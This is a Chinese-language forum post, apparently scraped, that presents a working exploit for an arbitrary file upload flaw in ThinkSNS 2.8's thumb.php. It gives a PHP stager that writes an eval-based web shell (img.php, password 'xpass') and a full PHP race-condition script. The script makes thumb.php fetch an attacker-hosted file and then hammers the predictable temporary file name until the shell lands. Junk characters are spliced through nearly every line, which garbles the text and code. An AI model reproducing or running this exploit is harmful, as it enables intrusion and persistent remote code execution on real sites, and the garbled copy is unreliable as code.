漏洞版本0 n8 ?% l" p; v9 `7 a
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
8 r/ W, z) n! n: a& N( W漏洞文件" Z/ A- w6 X+ M* h% Z* k
存在漏洞的文件为:thumb.php
6 L2 Z6 r9 A3 @1 O4 {作者:韦鲲鹏
- P% t; w( T H8 p( a# C# f$ ?# _1、 准备如下PHP文件并上传到服务器(自己的)。" D1 W' |2 K4 Z4 Y9 A" Y
文件内容如下:
8 G/ n2 J: G2 ]: S _0 W h9 W<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 `) ^. y$ p6 q3 ~8 c6 _2、 计算出临时的文件名:
; u8 A& c' x: ]这里我们可以看文件的99行(刚刚是不是没注意呀!)。
; H; e$ E$ N- |. v9 n3 Y2 O% T9 Q" {# V4 K" z
3、 上传临时文件。! [/ B( e( J/ c6 K: h. w
4、 访问临时文件。$ M* }: d }0 q" w% ]6 V- f2 ^
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。). y1 `) V/ f( f& Y9 [8 m2 U/ W
Exploit文件内容如下:(这个我就不详细解释了)
% p9 X# o7 I& [5 P<?php6 V% n' c/ e2 k, l6 u' x# I
error_reporting(0);: `: R# H9 ^) m3 X3 E+ s
set_time_limit(0);& O9 Y6 l* m- v: k
ini_set(“default_socket_timeout”, 5);
( r0 x$ E0 e/ M6 Hfunction http_send($host, $port, $headers) {
8 n; t% Z% X, o7 o7 m; s$fp = fsockopen($host, $port);
2 ~3 H" S5 c& F- Wif (!$fp) die(‘Connection -> fail’);
1 ?4 A* E f- @! Afputs($fp, $headers);% y9 \2 f/ N- ?: j0 m& v
return $fp;
1 _6 _1 k6 n) P4 A3 L- K# f4 E}. x# U. J7 T E7 m8 `- A' n j# C6 O
function http_recv($fp) {8 [- t7 L1 ^1 q% M4 R0 A6 }, G
$ret=”";
5 i* w* A* p! n" V+ nwhile (!feof($fp))4 |/ ~, u4 X% f) R
$ret.= fgets($fp, 1024);
$ C) R0 Z9 y* M) [! w5 a$ ifclose($fp);( q3 m9 ~+ l. f) x
return $ret;
4 y: B! o9 x# R# U}
8 j8 W6 }7 }1 ^print “\n# ThinkSns Arbitrary File Upload #\n”;0 p. O6 e; w9 |& g& n3 V" B7 l
print “# Discovered by 韦鲲鹏 #\n\n”;7 \9 G Z' p: j2 O0 ]! B
if ($argc < 4) {* O9 a1 V9 d' ]7 _0 h9 p2 R
print “Usage: php <host> <path> <romote_url>\n”;; [$ i1 R: G, O6 w
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;, _( r8 F* R* w7 m a/ l h6 l
die();" u: e7 Q! h; L& s, B4 v6 F+ e) Y
}
. h8 M \: K3 H: }+ {$host = $argv[1];9 Q/ |$ O* [0 q" V+ A) J) q M" q
$path = $argv[2];, X% b- f! |: A$ R! I' x3 F
$url = $argv[3];* c; ]! f' v1 G$ Q
$i=0;
# O2 l0 o+ L' i/ E @1 P//上传数据包
2 F5 v& f; j$ {* }2 ~! ]$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
2 q5 g5 N; _) ]: y$headers_up .= “Host: “.$host.”\r\n”;9 M4 Z6 {) k; b8 u7 W+ T# q
$headers_up .= “Connection: close\r\n\r\n”;, N) a" z" X, }& F' @$ c
echo $headers_up;: p& V$ [# }# \5 d1 ]- _0 m
//临时文件访问数据包
$ b. e" U$ N n* ]$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: J. C/ O' G3 D+ }$headers .= “Host: “.$host.”\r\n”;# l$ E; G0 g( h
$headers .= “Connection: close\r\n\r\n”;
) h+ O B3 y$ D4 m" N, i3 u5 Yecho $headers;
7 s& X/ s( \& D* xwhile(++$i<10) {# h# H+ V* J7 }6 J. b+ E' N4 W. t; w
fclose(http_send($host, 80, $headers));
% T6 m0 w* b8 k5 O/ V7 f}
- S* n7 s1 }2 A& dfclose(http_send($host, 80, $headers_up));
z( t1 m1 }) `3 h Kwhile(++$i<50) {& c& z+ i$ j+ U# E6 |3 L |& J
fclose(http_send($host, 80, $headers));: W7 {; s0 ^7 @- T- q* i
}& p' ]. Q( k- u0 _1 v# y5 c
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;3 M0 p0 |; [) D1 T7 W
$headers .= “Host: “.$host.”\r\n”;
, x3 o9 h$ z4 p$headers .= “Connection: close\r\n\r\n”;
! u! w" f; `7 O% J6 j: t! U$ d) u& \$res=http_recv(http_send($host, 80, $headers));
7 g+ e d; m4 {, m8 P: Z! ]if(preg_match(‘/200 OK/’,$res)) {
9 r" \5 j4 P) \0 X$ Eprint “Success!\n\n”;8 l# s2 F( J& `' A4 Q, x. K
} else {$ ?1 Z7 S4 o0 I0 ?; n
print “Fail!\n\n”;) {$ E/ }; G Q1 M9 f
}
+ A# k$ k0 R. \7 ]7 `2 C4 c1 B' N5 m% U?>; b* Q0 V- ?4 }4 @+ w( U8 H# H/ F2 p
|